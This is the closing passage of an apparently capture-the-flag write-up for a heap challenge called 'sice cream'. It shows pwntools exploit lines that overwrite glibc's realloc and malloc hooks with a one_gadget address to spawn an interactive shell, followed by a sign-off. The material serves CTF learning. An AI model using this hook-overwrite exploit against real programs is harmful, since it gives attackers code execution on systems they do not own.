   0x00000000000846d0 <+16>: sub    rsp,0x38
'''
alloc(0x40, p64(onegadget)+p64(libcrealloc+16))#overwrite realloc hook, then overwrite malloc hook, test random offsets with some educated guessing, skip over some of the pushes to set up stack differently
alloc(0x30, '') #trigger it hopefully
p.interactive()


And that's it for sice cream!